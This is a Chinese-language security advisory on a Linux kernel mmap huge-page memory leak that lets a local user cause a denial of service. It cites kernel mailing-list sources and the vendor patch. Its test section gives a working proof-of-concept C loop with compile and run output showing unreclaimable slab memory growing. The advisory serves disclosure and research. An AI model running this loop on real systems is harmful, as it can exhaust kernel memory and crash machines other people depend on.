Linux Kernel ‘mmap()’失败本地拒绝服务漏洞

受影响系统:

Linux kernel 2.6.x

描述:


BUGTRAQ  ID: 53668

Linux Kernel是Linux操作系统的内核。

Linux Kernel 2.6.32和3.4-rc6在调用mmap映射巨页时存在内存泄露错误导致的本地拒绝服务漏洞,通过运行下列代码,32字节的kmalloc缓存会增长10 mio条目,未授权的本地攻击者可利用此漏洞触发内核崩溃。

<*来源:Christoph Lameter

链接:http://www.spinics.net/lists/linux-mm/msg34763.html
https://lkml.org/lkml/2012/5/21/385
*>

测试方法:


警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

执行如下操作可能导致异常:
——–
#include <sys/mman.h>
#include <stdlib.h>

#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x0040000
#endif

int main() {
for (int i=0; i!=10000000; ++i) {
void* ptr=mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, 0, 0);
if (ptr!=MAP_FAILED) abort();
}
return 0;
}

——-

g++ -O2 test.cpp && echo good
good

$ egrep ‘SUnreclaim|HugePages_Total’ /proc/meminfo
SUnreclaim:      1900756 kB
HugePages_Total:       0

$ ./a.out && echo good
good

$ egrep ‘SUnreclaim|HugePages_Total’ /proc/meminfo
SUnreclaim:      2213268 kB
HugePages_Total:       0

建议:


厂商补丁:

Linux
—–
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.kernel.org/

评论关闭。